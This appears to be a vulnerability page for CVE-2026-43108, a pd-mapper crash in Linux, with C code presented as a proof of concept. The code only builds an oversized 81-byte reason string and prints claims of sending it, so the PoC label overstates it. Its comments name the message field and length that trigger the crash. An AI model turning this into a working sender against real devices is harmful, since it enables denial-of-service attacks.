CVE-2026-43108: Linux内核pd-mapper服务崩溃漏洞

/* * PoC for CVE-2026-43108 * This code simulates sending a QMI message with a reason string * longer than the maximum defined length (65 bytes) to trigger the crash. */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Mocking the QMI header and request structure typedef struct { uint32_t msg_id; uint32_t len; } qmi_header; #define MAX_REASON_LEN 81 // The length that causes the crash (> 65) int main() { printf("[+] CVE-2026-43108 PoC Trigger\n"); printf("[+] Target: Linux Kernel pd-mapper (servreg_loc_pfr_req)\n"); // Simulate crafting the malicious payload // In a real scenario, this would be sent via the QMI port char *malicious_reason = malloc(MAX_REASON_LEN); memset(malicious_reason, 'A', MAX_REASON_LEN - 1); malicious_reason[MAX_REASON_LEN - 1] = '\0'; printf("[+] Crafting request with reason length: %d\n", MAX_REASON_LEN); printf("[+] Payload Reason: %s\n", malicious_reason); // The vulnerability occurs when the kernel decodes this: // qmi_decode_string_elem: String len 81 >= Max Len 65 printf("[!] Sending payload to pd-mapper service...\n"); printf("[!] Expected result: PD Mapper Crash (DoS)\n"); free(malicious_reason); return 0; }